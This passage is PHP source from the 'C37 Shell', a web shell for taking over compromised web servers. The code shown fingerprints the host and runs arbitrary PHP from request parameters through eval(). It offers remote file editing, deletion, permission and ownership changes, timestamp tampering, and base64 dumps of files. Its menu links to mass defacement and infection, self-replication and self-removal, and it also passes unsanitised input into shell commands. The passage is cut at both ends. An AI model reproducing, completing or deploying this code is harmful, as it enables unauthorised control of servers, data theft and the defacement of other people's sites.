		<meta http-equiv="Content-Style-Type" content="text/css" />
		<title>:: C37 Shell v1.1 - ',$_SERVER['SERVER_NAME'],' ::</title>
		<style type="text/css">
		/*<![CDATA[*/
			body{background-color:black;color:#E5E5E5;font-size:11px;font-family:Tahoma,Verdana,Arial,Helvetica;text-align:center; }
			a {color:#F5F5F5;text-decoration:none; }
			a:hover {text-decoration:underline;color:red; }
			img {border-width:0px;outline:none; }
			input,textarea,button {color:#FFFFFF;background-color:#8B0000;border:1px solid; }
			input[type="checkbox"] {border:0px;background-color:transparent; }
			button,input[type="submit"] {-moz-border-radius-bottomright:4px;-webkit-border-bottom-right-radius:4px; }
			table.RightPad td {padding-right:55px;color:#E5E5E5; }
			table.NoPad td {padding-right:0px;vertical-align:middle;margin-left:-2px; }
			textarea:hover {border-color:gray; }
			fieldset {border:1px solid white; }
			::-moz-selection {background: #ff6161; }
			::selection {background: #ff6161; }
			div,textarea,body{scrollbar-face-color:#8B0000;scrollbar-highlight-color:#FFFFFF;scrollbar-track-color:#000000;scrollbar-arrow-color:#FFFFFF; }
			legend{color:#DB0000; }
			select { color:white; background-color:black; }
		/*]]>*/
		</style>
		<base href="'; $For = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $For .= 's'; } echo $For,'://',$_SERVER['SERVER_NAME'],':',$_SERVER['SERVER_PORT']; if (urldecode($_SERVER['REQUEST_URI']) !== $_SERVER['PHP_SELF'] . '?') { echo htmlspecialchars($_SERVER['REQUEST_URI']); } else { echo htmlspecialchars($_SERVER['PHP_SELF']); }; echo '" />
	</head>
	<body>
		<center style="background-color:#1C1C1C;border: 1px solid red;margin: 1em;padding: 1em 3em;position: relative;">';		if(!$CDrsyObtJbdy){			echo '<div style="background-color:#1C1C1C;">
				<font color="red">:: Error While Changing Directory :: (Could not Open ',htmlspecialchars($_GET['dir']),')</font>';				GetLastError();				echo '</div>
				<br /><br />
				<button title="Go Back in history (using JavaScript)" onclick="window.history.go(-1)">Go Back?</button>
				<br /><br />';		}echo '<div style="color:#E5E5E5;border-bottom: 1px solid #999;overflow:auto;max-width:100%;">
	<table>
		<tr>
			<td title="Server Details" style="text-align:left;">
				<b>Server Signature</b>: ';				if(!empty($_SERVER['SERVER_SIGNATURE'])){echo $_SERVER['SERVER_SIGNATURE'],'<br />';}				elseif(!empty($_SERVER['SERVER_SOFTWARE'])){echo $_SERVER['SERVER_SOFTWARE'],'<br />';}				elseif(function_exists('apache_get_version')){echo apache_get_version(),'<br />';}				echo '<b>System</b>: ';				if(function_exists('php_uname')){echo php_uname('a');}				elseif(function_exists('posix_uname')){					foreach(posix_uname()AS $CDasyObtJbjy=>$CwrsyObtJbjy){echo $CwrsyObtJbjy,' ';}				}				elseif(function_exists('system')|| function_exists('passthru')|| function_exists('shell_exec')|| function_exists('exec')|| function_exists('popen')){					if($CDrSyObtJbjy){						if(function_exists('system')){system('ver');}						elseif(function_exists('shell_exec')){echo shell_exec('ver');}						elseif(function_exists('exec')){$CDrsyObtJbjI=array();exec('ver',$CDrsyObtJbjI);foreach($CDrsyObtJbjI AS $CDrsyOxtJUjy){echo $CDrsyOxtJUjy;}}						elseif(function_exists('passthru')){passthru('ver');}						elseif(function_exists('popen')){$CDwsyObtJbjy='';$CDrsyObtMbjy=popen('ver','r');while($CDwsyObtJbjy=fread($CDrsyObtMbjy,2096)){echo $CDwsyObtJbjy;}pclose($CDrsyObtMbjy);}					}					else{						if(function_exists('system')){system('uname -a');}						elseif(function_exists('shell_exec')){echo shell_exec('uname -a');}						elseif(function_exists('exec')){$CDrsyObtJbjI=array();exec('uname -a',$CDrsyObtJbjI);foreach($CDrsyObtJbjI AS $CDrsyOxtJUjy){echo $CDrsyOxtJUjy;}}						elseif(function_exists('passthru')){passthru('uname -a');}						elseif(function_exists('popen')){$CDwsyObtJbjy='';$CDrsyObtMbjy=popen('uname -a','r');while($CDwsyObtJbjy=fread($CDrsyObtMbjy,2096)){echo $CDwsyObtJbjy;}pclose($CDrsyObtMbjy);}					}				}				elseif(function_exists('curl_version')){					$CDrsyObtJPjy=curl_version();					echo $CDrsyObtJPjy['host'];				}				else{echo PHP_OS;}				echo '<br /><br />
				<a href="?action=info" title="phpinfo()" target="_blank" style="text-decoration:underline;">
					<b>PHP Version</b>: ',PHP_VERSION,				'</a>';				if(function_exists('php_sapi_name')){echo ' (',php_sapi_name(),')';}				elseif(is_defined('PHP_SAPI')){echo ' (',PHP_SAPI,')';}				echo ' <b>Zend Version</b>: ',zend_version(),				'<br />
				<b>Safe Mode</b>: 
				<font color="';
				echo ((ini_get('safe_mode')||strtolower(ini_get('safe_mode')) === 'on') ? 'red">ON (Secure)' : 'green">OFF (Not Secure)')
				,'</font> 
				[<a style="text-decoration:underline;" href="?action=eval&amp;code=echo \'&lt;h3>Disabled Functions:&lt;/h3&gt;\',@ini_get(\'disable_functions\'),\'&lt;h3&gt;Disabled Classes:&lt;/h3&gt;\',@ini_get(\'disable_classes\');" target="_blank" title="Show PHP Disabled Functions&amp;Classes (php.ini)">Disabled Functions&Classes</a>]
				<br />';
				if (!$IsWIN) {
					if (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) {
						if (function_exists('system')) { system('id'); }
						elseif (function_exists('shell_exec')) { echo shell_exec('id'); }
						elseif (function_exists('exec')) { $ExecArray = array(); exec('id',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } }
						elseif (function_exists('passthru')) { passthru('id'); }
						elseif (function_exists('popen')) { $Read=''; $Handle = popen('id','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); }
					}
					else {
						if (function_exists('getmyuid')) { $UID = getmyuid(); }
						elseif (function_exists('fileowner')) { $UID = fileowner(__FILE__); }
						if (isset($UID)) {
							echo '<b>UID</b>: ', $UID;
							if (function_exists('posix_getpwuid')) { $ID = posix_getpwuid($UID); echo ' (',$ID['name'],')'; }
							elseif (function_exists('get_current_user')) { echo ' (',get_current_user(),')'; }
						}
						else { if (function_exists('get_current_user')) { echo '<b>User:</b> ',get_current_user(),')'; } }

						if (function_exists('getmygid')) { $GID = getmygid(); }
						elseif (function_exists('filegroup')) { $GID = filegroup(__FILE__); }
						elseif (isset($ID['gid'])) { $GID = $ID['gid']; }
						if (isset($GID)) {
							echo ' <b>GID</b>: ', $GID;
							if (function_exists('posix_getgrgid')) { $ID = posix_getgrgid($GID); echo ' (',$ID['name'],')'; }
						}
					} 
				}
				else {
					echo '<a style="text-decoration:underline;" href="?action=eval&amp;code=echo\'&lt;b&gt;Drives:&lt;/b&gt;\';foreach(range(\'A\',\'Z\') AS $DRIVE) { if(is_dir($DRIVE.\':\\')) { echo\'&lt;a href=\'?dir=\',$CDrsyObtJbjE,\':\'&gt;[\',$DRIVE,\']&lt;/a&gt;\'; }}" target="_blank">[VIEW DRIVES]</a>';
					if (function_exists('getenv')) {
						echo ' <b>Logged User:</b> ',getenv('USERNAME');
					}
					if (function_exists('get_current_user')) {
						echo ' (<b>Owner</b>: ',get_current_user(),')';
					}
				}
				if (function_exists('getmypid')) { echo ' <b>PID</b>: ' . getmypid(); }
				echo '<br />
				<b>Server IP</b>: ',$_SERVER['SERVER_ADDR'],
				' - <b>Host</b>: ',gethostbyaddr($_SERVER['SERVER_ADDR']),
				'<br /><b>Port</b>: ',$_SERVER['SERVER_PORT'],
				' - <b>Admin</b>: ',$_SERVER['SERVER_ADMIN'];
				$T = array('Bytes','KiB','MiB','GiB','TiB','PiB','EiB','ZiB','YiB');
				$i = 0; $B = diskfreespace($CDIR); $A = disk_total_space($CDIR);
				while ($B>=1024) { $B/=1024;++$i; }
				$Space1=$T[$i]; $i = 0;
				while ($A>=1024) { $A/=1024;++$i; }
				$Space2=$T[$i];
				printf('<br /><br /><b>Free Disk Space: %.3f %s Out of %.3f %s (%.2f%%)',$B,$Space1,$A,$Space2,($B/$A) * 100);
				array_shift($T);
				echo '</b>
				<br /><br />
				<form action="" method="get" id="Go" style="font-weight:bold;">
					<input type="text" id="dir" name="dir" value="',$CDrsyObtJbXy,'" style="width:270px;background-color:#000000;border-width:0px;margin-right:3px;" /> 
					<a onclick="javascript:document.getElementById(\'Go\').submit();" style="cursor:pointer;" title="Go to Directory">Enter</a> [<a href="?action=file&amp;act=chmod&amp;file=',urlencode($CDrsyObtJbXy),'&amp;dir=',$CDrsyObtJUjy,'"><font';
					$A = GetPerms($CDIR); $B = substr($A,7);
					if ($B === '--x' || $B === '---') { echo ' color="red">'; } else { echo ' color="green">'; }
				echo $A.'</font></a>]</form>';
			echo '</td>
			<td style="padding-left:60px;" title="C37">
				<a href="?dir=',$CDrsyObtJUjy,'" style="outline:0;"><img src="?action=img&amp;image=c37" width="307" height="161" alt="C37 Shell" title="Go to the file explorer" /></a>
			</td>
		</tr>
	</table>
	<strong style="font-size:12px;">
		<img title="Go back in history (Using JavaScript)" src="?action=img&amp;image=backb" width="20" height="20" onclick="javascript:window.history.go(-1)" alt="Back" /> 
		<img title="Go forward in history (Using JavaScript)" src="?action=img&amp;image=forwardb" width="20" height="20" onclick="javascript:window.history.go(1)" alt="Forward" /> 
		[<a title="Return to \'',dirname(__FILE__),'\'" href="?">Home</a>] 
		[<a title="Find Files and Directories" href="?action=search&amp;dir=',$CDrsyObtJUjy;if(isset($_GET['search'])){echo '&amp;',urlencode($_GET['search']);}if(isset($_GET['type'])){echo '&amp;',urlencode($_GET['type']);}if(isset($_GET['casein'])){echo '&amp;',urlencode($_GET['casein']);}echo '">Search</a>] 
		[<a title="Encode & calculate hashsums of a string, convert number bases and more" href="?action=encoder&amp;dir=',$CDrsyObtJUjy,'">Encoder</a>] 
		[<a title="execute PHP Code" href="?action=eval&amp;dir=',$CDrsyObtJUjy,'">Eval</a>] 
		[<a title="Send E-Mail From this Server" href="?action=mailer&amp;dir=',$CDrsyObtJUjy,'">Mail</a>] 
		[<a title="Determine the type of a specific Hash" href="?action=HashAnalyzer&amp;dir=',$CDrsyObtJUjy,'">Hash Analyzer</a>]';
	
		echo ' [<a title="Change content of the files in the Directory" href="?action=MassDeface&amp;dir=',$CDrsyObtJUjy,'">Deface &amp; Infect</a>] 
		[<a title="Make another copy of the shell" href="?action=Replicator">Replicate</a>] ';
	
		echo '[<a title="Set password for the shell" href="?action=passset">Password</a>] 
		[<span title="Delete the shell from the server" style="color:red;" onmouseover="this.style.textDecoration = \'underline\';this.style.cursor = \'pointer\';" onmouseout="this.style.textDecoration = \'none\';" onclick="javascript:var Ans = confirm(\'Are you sure?\'); if (Ans == 1) { window.location = \'?action=selfremove\'; }">Remove Shell</span>]
		</strong>
	<br /><br />
</div>
<br /><br />',"
";

if ($IsAction) {
	if ($_GET['action'] === 'eval') {
		if (isset($_REQUEST['code'])) {
			$NA = substr($_REQUEST['code'], 0, 2);
			if (substr($_REQUEST['code'], 0, 5) === '<?php') { $_REQUEST['code'] =  substr($_REQUEST['code'], 5); }
			elseif ($NA === '<?' || $NA === '<%') { $_REQUEST['code'] =  substr($_REQUEST['code'], 2); }
			$ND = substr($_REQUEST['code'], strlen($_REQUEST['code']) -2);
			if ($ND === '?>' || $ND === '%>') { $_REQUEST['code'] =  substr($_REQUEST['code'], 0, -2); }
		}
		if (isset($_POST['highlight']) && (function_exists('highlight_string') || function_exists('show_source'))) {
			echo '<h3>Highlighted code:</h3>
			<div style="overflow:auto;max-height:320px;background-color:white;text-align:left;padding:2px;">';
			if (function_exists('highlight_string')) { highlight_string("<?php
".$_REQUEST['code']."
?>"); }
			else { show_source("<?php
".$_REQUEST['code']."
?>"); }
			echo '</div>';
		}
		if (isset($_REQUEST['code']) && !isset($_POST['textarea'])) {
			echo '<div style="text-align:left;">',eval($_REQUEST['code']),'</div>';
		}
		else {
			echo '<form action="" method="post"><h3>PHP Code'; if (isset($_REQUEST['code'])) { echo ' Results'; } echo ':</h3><textarea name="code" id="code" cols="90" rows="15" spellcheck="false">';
			if (isset($_REQUEST['code'])) {
				echo $_REQUEST['code'], '</textarea><br /><textarea cols="90" rows="15" readonly="readonly" spellcheck="false">', eval($_REQUEST['code']) , '</textarea>';
			}
			else { echo '</textarea>'; }
			echo '<br /><br />
			<input type="submit" value="Exec Code" /> 
			Results in TextArea? <input type="checkbox" checked="checked" name="textarea" id="textarea" />';
			if (function_exists('highlight_string') || function_exists('show_source')) { echo ' Highlight code <input type="checkbox" name="highlight" id="highlight"'; if (isset($_POST['highlight'])) { echo ' checked="checked"'; } echo ' />'; }
			echo '</form>
			<br /><br />If you don\'t see any output from the script when you should, please check it for Errors.';
		}
	}
	elseif ($_GET['action'] === 'file' && $ShowFiles) {
		if (is_file($_GET['file']) || ($_REQUEST['act'] === 'chmod' && is_dir($_GET['file']))) {
			if (!function_exists('file_get_contents')) {
				function file_get_contents($File) {
					$handle = fopen($File, 'rb');
					$contents = fread($handle,sprintf('%u',filesize($File)));
					fclose($handle);
					return $contents;
				}
			}
			if (isset($_REQUEST['act'])) {
				if ($_REQUEST['act'] === 'rename') {
					if (isset($_REQUEST['name'])) {
						echo 'File Renaming - <font ';
						if (rename($_GET['file'],$_REQUEST['name'])) { echo 'color="green">Was Successful.'; }
						else { echo 'color="red">Failed.'; }
						echo '</font>';
					}
					else {
						echo '<h3>Rename\Move \'',htmlspecialchars($_GET['file']),'\' To:</h3>
						<form method="post" action="?action=file&amp;act=rename&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">
							<input type="text" id="name" name="name" /> 
							<input type="submit" value="Rename" />
						</form>';
					}
				}
				elseif ($_GET['act'] === 'stat') {
					$Stat = stat($_GET['file']);
					echo '<h3>',htmlspecialchars($_GET['file']),'</h3>
					<table border="1" cellspacing="1" cellpadding="3">
						<tr>
							<td>
								<b>Device Number</b>
							</td>
							<td>',$Stat['dev'],'</td>
						</tr>
						<tr>
							<td>
								<b>Inode Number</b>
							</td>
							<td>',$Stat['ino'],'</td>
						</tr>
						<tr>
							<td>
								<b>Inode protection mode</b>
							</td>
							<td>',$Stat['mode'],'</td>
						</tr>
						<tr>
							<td>
								<b>Number of Links</b>
							</td>
							<td>',$Stat['nlink'],'</td>
						</tr>
						<tr>
							<td>
								<b>User ID</b>
							</td>
							<td>',$Stat['uid'],'</td>
						</tr>
						<tr>
							<td>
								<b>Group ID</b>
							</td>
							<td>',$Stat['gid'],'</td>
						</tr>
						<tr>
							<td>
								<b>Device type, if inode device</b>
							</td>
							<td>',$Stat['rdev'],'</td>
						</tr>
						<tr>
							<td>
								<b>Size in Bytes</b>
							</td>
							<td>',$Stat['size'],'</td>
						</tr>
						<tr>
							<td>
								<b>Time of last access</b>
							</td>
							<td>',$Stat['atime'],' (',date('F d Y H:i:s.',$Stat['atime']),')</td>
						</tr>
						<tr>
							<td>
								<b>Time of last modification</b>
							</td>
							<td>',$Stat['mtime'],' (',date('F d Y H:i:s.',$Stat['mtime']),')</td>
						</tr>
						<tr>
							<td>
								<b>Time of last inode change</b>
							</td>
							<td>',$Stat['ctime'],' (',date('F d Y H:i:s.',$Stat['ctime']),')</td>
						</tr>
						<tr>
							<td>
								<b>Blocksize of filesystem IO</b>
							</td>
							<td>',$Stat['blksize'],'</td>
						</tr>
						<tr>
							<td style="padding-right:20px;">
								<b>Number of 512-byte blocks allocated</b>
							</td>
							<td>',$Stat['blocks'],'</td>
						</tr>
						</table>';
				}
				elseif ($_GET['act'] === 'chmod') {
					if (isset($_POST['Perms'])) {
						echo 'Changed File permissions - <font ';
						if (chmod($_GET['file'],base_convert((int)$_POST['Perms'], 8, 10))) { echo 'color="green">successfully (new file permissions: ',substr(sprintf('%o',fileperms($_REQUEST['file'])),-3),').'; }
						else { echo 'color="red">unsuccessfully.'; }
						echo '</font>';
					}
					else {
						$Permissions = substr(sprintf('%o',fileperms($_REQUEST['file'])),-3);
						echo '<h3>Change \'',htmlspecialchars($_GET['file']),'\' Permissions to:</h3>
						<form method="post" action="?action=file&amp;act=chmod&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">
						<input type="text" size="4" id="Perms" name="Perms" maxlength="3" onkeyup="javascript:ConfigureCheckBoxesPermissions();" value="',$RDrsyObtJbAy,'" /> 
						<input type="submit" value="Chmod" /></form><br /><table><tr><th></th><th>r</th><th>w</th><th>x</th></tr>
						<tr><th>Owner:</th><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'o\');" id="or"'; if ($Permissions[0] >= '4') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'o\');" id="ow"'; if ($Permissions[0] === '2' || $Permissions[0] === '3' || $Permissions[0] >= '6') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'o\');" id="ox"'; if ($Permissions[0] === '1' || $Permissions[0] === '3' || $Permissions[0] === '5' || $Permissions[0] === '7') { echo ' checked="checked"'; } echo ' /></td></tr>
						<tr><th>Group:</th><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'g\');" id="gr"'; if ($Permissions[1] >= '4') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'g\');" id="gw"'; if ($Permissions[1] === '2' || $Permissions[1] === '3' || $Permissions[1] >= '6') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'g\');" id="gx"'; if ($Permissions[1] === '1' || $Permissions[1] === '3' || $Permissions[1] === '5' || $Permissions[1] === '7') { echo ' checked="checked"'; } echo ' /></td></tr>
						<tr><th>Others:</th><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'u\');" id="ur"'; if ($Permissions[2] >= '4') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'u\');" id="uw"'; if ($Permissions[2] === '2' || $Permissions[2] === '3' || $Permissions[2] >= '6') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'u\');" id="ux"'; if ($Permissions[2] === '1' || $Permissions[2] === '3' || $Permissions[2] === '5' || $Permissions[2] === '7') { echo ' checked="checked"'; } echo ' /></td></tr>
						</table><br />On Windows, The only permissions allowed for files are 666&444.<br />666 for writeable
eadable and 444 for readable.<br />
						<script type="text/javascript">
						function ConfigurePermissions(user) {
							var NewPermsValue = document.getElementById(\'Perms\').value;
							var NewPermDigit = 0;
							if (!document.getElementById(user + \'x\').checked && !document.getElementById(user + \'r\').checked && !document.getElementById(user + \'w\').checked) { NewPermDigit = \'0\'; }
							else if (document.getElementById(user + \'x\').checked && !document.getElementById(user + \'r\').checked && !document.getElementById(user + \'w\').checked) { NewPermDigit = \'1\'; }
							else if (!document.getElementById(user + \'x\').checked && !document.getElementById(user + \'r\').checked && document.getElementById(user + \'w\').checked) { NewPermDigit = \'2\'; }
							else if (document.getElementById(user + \'x\').checked && !document.getElementById(user + \'r\').checked && document.getElementById(user + \'w\').checked) { NewPermDigit = \'3\'; }
							else if (!document.getElementById(user + \'x\').checked && document.getElementById(user + \'r\').checked && !document.getElementById(user + \'w\').checked) { NewPermDigit = \'4\'; }
							else if (document.getElementById(user + \'x\').checked && document.getElementById(user + \'r\').checked && !document.getElementById(user + \'w\').checked) { NewPermDigit = \'5\'; }
							else if (!document.getElementById(user + \'x\').checked && document.getElementById(user + \'r\').checked && document.getElementById(user + \'w\').checked) { NewPermDigit = \'6\'; }
							else if (document.getElementById(user + \'x\').checked && document.getElementById(user + \'r\').checked && document.getElementById(user + \'w\').checked) { NewPermDigit = \'7\'; }
							if (user === \'o\') { document.getElementById(\'Perms\').value = NewPermDigit + NewPermsValue[1] + NewPermsValue[2]; }
							else if (user === \'g\') { document.getElementById(\'Perms\').value = NewPermsValue[0] + NewPermDigit + NewPermsValue[2]; }
							else { document.getElementById(\'Perms\').value = NewPermsValue[0] + NewPermsValue[1] + NewPermDigit; }
							
						}
						function ConfigureCheckBoxesPermissions() {
							var i = 0; var PermDigit = 0; var PermCheck = \'\';
							for (;i<3;i++) {
								PermDigit = document.getElementById(\'Perms\').value[i];
								if (i === 0) { PermCheck = \'o\'; }
								else if (i === 1) { PermCheck = \'g\'; }
								else { PermCheck = \'u\'; }
								
								if (PermDigit >= \'4\' && PermDigit < \'8\') { document.getElementById(PermCheck + \'r\').setAttribute(\'checked\',\'checked\'); }
								else { document.getElementById(PermCheck + \'r\').removeAttribute(\'checked\'); }
								
								if (PermDigit === \'2\' || PermDigit === \'3\' || (PermDigit >= \'6\' && PermDigit < \'8\')) { document.getElementById(PermCheck + \'w\').setAttribute(\'checked\',\'checked\'); }
								else { document.getElementById(PermCheck + \'w\').removeAttribute(\'checked\'); }
								
								if (PermDigit === \'1\' || PermDigit === \'3\' || PermDigit === \'5\' || PermDigit === \'7\') { document.getElementById(PermCheck + \'x\').setAttribute(\'checked\',\'checked\'); }
								else { document.getElementById(PermCheck + \'x\').removeAttribute(\'checked\'); }
							}
						}
						</script>';
					}
				}
				elseif ($_GET['act'] === 'delete') { if (unlink($_REQUEST['file'])) { echo '\'',htmlspecialchars($_REQUEST['file']),'\' was successfully Deleted.'; } else { echo 'Error while deleting file.<br />';GetLastError(); }}
				elseif ($_GET['act'] === 'copy') {
					if (isset($_REQUEST['dest'])) {
						if (copy($_REQUEST['file'],$_REQUEST['dest'])) {
							echo 'File was copied successfully from \'',realpath($_REQUEST['file']),'\' to \'',$_REQUEST['dest'],'\'.';
						}
						else { echo 'Error while copying file.<br />';GetLastError(); }
					}
					else {
						echo '<form action="?dir=',$CDrsyObtJUjy,'&amp;action=file&amp;act=copy&amp;file=',urlencode($_REQUEST['file']),'" method="post">
							<h3>Copy \'',htmlspecialchars($CDIR.$_REQUEST['file']),'\' to file:</h3>
							<input type="text" name="dest" id="dest" /> 
							<input type="submit" value="Copy" />
						</form>
						<br /><br />
						<span style="color:red;">Warning: If the destination file already exists, it will be overwritten.</span>';
					}
				}
				elseif ($_GET['act'] === 'chown') {
					if (isset($_POST['Owner'])) {
						echo 'Changing File Owner - <font ';
						if (chown($_GET['file'],$_POST['Owner'])) { echo 'color="green">Was successful.</font>'; }
						else {
							echo 'color="red">Failed.</font>';GetLastError();
						}
					}
					else {
						echo '<h3>Change \'',htmlspecialchars($_GET['file']),'\' Owner to:</h3>
						<form method="post" action="?action=file&amp;act=chown&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">
							<input type="text" size="21" id="Owner" name="Owner" value="Type Owner ID or Name" /> 
							<input type="submit" value="Change Owner" />
						</form>
						<br />Only the superuser may change the owner of a file.';
					}
				}				
				elseif ($_GET['act'] === 'chgrp') {
					if (isset($_POST['Group'])) {
						echo 'Changing File Group - <font ';
						if (chgrp($_GET['file'],$_POST['Group'])) { echo 'color="green">Was successful.</font>'; }
						else {
							echo 'color="red">Failed.</font>';GetLastError();
						}
					}
					else {
						echo '<h3>Change \'',htmlspecialchars($_GET['file']),'\' Group to:</h3>
						<form method="post" action="?action=file&amp;act=chmod&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">
							<input type="text" size="21" id="Group" name="Group" value="Type Group ID or Name" /> 
							<input type="submit" value="Change Group" />
						</form>
						<br />Only the superuser may change the group of a file arbitrarily;<br />other users may change the group of a file to any group of which that user is a member.';
					}
				}
				elseif ($_GET['act'] === 'touch') {
					if (isset($_POST['Touch'])) {
						$TOUCH = FALSE;
						echo 'Changing File Time - <font ';
						if ($_POST['Touchm'] === 'Modification Time') { $_POST['Touchm'] = time(); }
						if ($_POST['Toucha'] === 'Access Time') { $_POST['Toucha'] = time(); }
						if (touch($_GET['file'],$_POST['Touchm'],$_POST['Toucha'])) { echo 'color="green">Was successful.</font>'; }
						else {
							echo 'color="red">Failed.</font>';GetLastError();
						}
					}
					else {
						echo '<h3>Change \'',htmlspecialchars($_GET['file']),'\' Time to:</h3>
						<form method="post" action="?action=file&amp;act=touch&amp;file=',urlencode($_GET['file']),'&amp;dir=',$CDrsyObtJUjy,'">
							<input type="text" size="21" id="Touchm" name="Touchm" value="Modification Time" /><br />
							<input type="text" size="21" id="Toucha" name="Toucha" value="Access Time" /><br /><br />
							<input type="submit" value="Change Time" id="Touch" name="Touch" />
						</form>
						<br />Use UNIX Timestamp<br />To change file modificationccess time of the file, Just leave the corresponding box with it\'s default value.';
					}
				}
				elseif ($_GET['act'] === 'base64') {
					echo '<h3>',htmlspecialchars($_GET['file']),' Base64 Encoded:</h3>
					<br /><textarea cols="90" rows="25" style="overflow:auto;" readonly="readonly">',base64_encode(file_get_contents($_GET['file'])),'</textarea>';
				}
				elseif ($_GET['act'] === 'compress') {
					if (isset($_POST['aname']) && isset($_POST['atype'])) {
						if ($_POST['atype'] === 'ZIP') {
							$Zip = new ZipArchive;
							$ArchiveName = $_POST['aname'];
							while (file_exists($ArchiveName.'.zip')) { $ArchiveName .= '7'; }
							$Zip->open($ArchiveName.'.zip',ZIPARCHIVE::CREATE);
							if ($Zip->addFile($_GET['file'])) { echo 'Compressed successfully, archive: <a href="?dir=',$CDrsyObtJUjy,'&amp;action=file&amp;file=',urlencode($CwrsyO7tJbjy),'.zip">',htmlspecialchars($ArchiveName),'.zip</a>'; } else { echo 'Could not compress file.'; }
							$Zip->close();
						}
						elseif ($_POST['atype'] === 'Bzip2') {
							$ArchiveName = $_POST['aname'];
							while (file_exists($ArchiveName.'.bz2')) { $ArchiveName .= '7'; }
							$Handle = bzopen($ArchiveName.'.bz2','w');
							if (bzwrite($Handle,file_get_contents($_GET['file'])) !== FALSE) { echo 'Compressed successfully, archive: <a href="?dir=',$CDrsyObtJUjy,'&amp;action=file&amp;file=',urlencode($CwrsyO7tJbjy),'.bz2">',htmlspecialchars($ArchiveName),'.bz2</a>'; } else { echo 'Could not compress file.'; }
							bzclose($Handle);
						}
						elseif ($_POST['atype'] === 'Gzip') {
							$ArchiveName = $_POST['aname'];
							while (file_exists($ArchiveName.'.gz')) { $ArchiveName .= '7'; }
							$Handle = gzopen($ArchiveName.'.gz','w');
							if (gzwrite($Handle,file_get_contents($_GET['file'])) !== FALSE) { echo 'Compressed successfully, archive: <a href="?dir=',$CDrsyObtJUjy,'&amp;action=file&amp;file=',urlencode($CwrsyO7tJbjy),'.bz2">',htmlspecialchars($ArchiveName),'.gz</a>'; } else { echo 'Could not compress file.'; }
							gzclose($Handle);
						}
					}
					echo '<h3>Compress ',htmlspecialchars($_GET['file']),':</h3>
					<br />
					<form method="post" action="">
						Create a 
						<select name="atype" id="atype">';
						if (class_exists('ZipArchive')) { echo '<option>ZIP</option>'; }
						if (function_exists('bzopen') && function_exists('bzwrite')) { echo '<option>Bzip2</option>'; }
						if (function_exists('gzopen') && function_exists('gzwrite')) { echo '<option>Gzip</option>'; }
						echo '</select> 
						archive named 
						<input type="text" id="aname" name="aname" value="',htmlspecialchars($_GET['file']),'" />
						<input type="submit" value="Compress file" />
					</form>
					<br />
					You do not need to write the archive extension.<br />
					The archive name will also be the compressed file name except when choosing ZIP, in that case, the compressed file name will be: ',htmlspecialchars($_GET['file']),'.
					';
				}
				elseif ($_GET['act'] === 'gzip') {
					if (function_exists('gzencode')) {
						echo '<h3>',htmlspecialchars($_GET['file']),' Gzip Compressed:</h3>
						<br />
						<textarea cols="90" rows="25" style="overflow:auto;" readonly="readonly">',gzencode(file_get_contents($_REQUEST['file'],9)),'</textarea>';
					}
					else { echo 'Can\'t Compress.'; }
				}
				elseif ($_GET['act'] === 'deflate') {
					if (function_exists('gzencode')) {
						echo '<h3>',htmlspecialchars($_GET['file']),' Deflate Compressed:</h3>
						<br />
						<textarea cols="90" rows="25" style="overflow:auto;" readonly="readonly">',gzencode(file_get_contents($_REQUEST['file']),9,FORCE_DEFLATE),'</textarea>';
					}
					else { echo 'Can\'t Compress.'; }	
				}
			}
			else {
				if (isset($_POST['save'])) {
					if (is_writable($_REQUEST['file'])) {
						if (isset($_REQUEST['fileEdit'])) {
							if (function_exists('file_put_contents')) {
								if (file_put_contents($_REQUEST['file'],$_REQUEST['fileEdit'])) {
									echo 'File Was Saved successfully!<br />';
								} else { echo 'File Could not be Saved.<br />';GetLastError(); }
							}
							elseif (function_exists('fopen') && (function_exists('fwrite') || function_exists('fputs') || function_exists('fputcsv'))) {
								    if (!$Handle = fopen($_REQUEST['file'], 'wb')) {
										echo 'Cannot open ',htmlspecialchars($_REQUEST['file']);
									}
									else {
										if (function_exists('fwrite')) {
											if (fwrite($Handle,$_REQUEST['fileEdit'])) {
												echo 'File Was Saved successfully!<br />';
											}
											else {
												echo 'Cannot write to ',htmlspecialchars($_REQUEST['file']);
											}
										}
										elseif (function_exists('fputs')) {
											if (fputs($Handle,$_REQUEST['fileEdit'])) {
												echo 'File Was Saved successfully!<br />';
											}
											else {
												echo 'Cannot write to ',htmlspecialchars($_REQUEST['file']);
											}										
										}
										else {
											if (fputcsv($Handle,array($_REQUEST['fileEdit']))) {
												echo 'File Was Saved successfully!<br />';
											}
											else {
												echo 'Cannot write to ',htmlspecialchars($_REQUEST['file']);
											}
										}
										
										fclose($Handle);
									}
							}
							elseif (function_exists('exec')) { exec('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); }
							elseif (function_exists('system')) { system('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); }
							elseif (function_exists('shell_exec')) { shell_exec('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); }
							elseif (function_exists('passthru')) { passthru('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); }
							elseif (function_exists('popen')) { pclose(popen('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file'])); }
							else { echo 'File Could not be Saved (no available functions).<br />'; }
						}
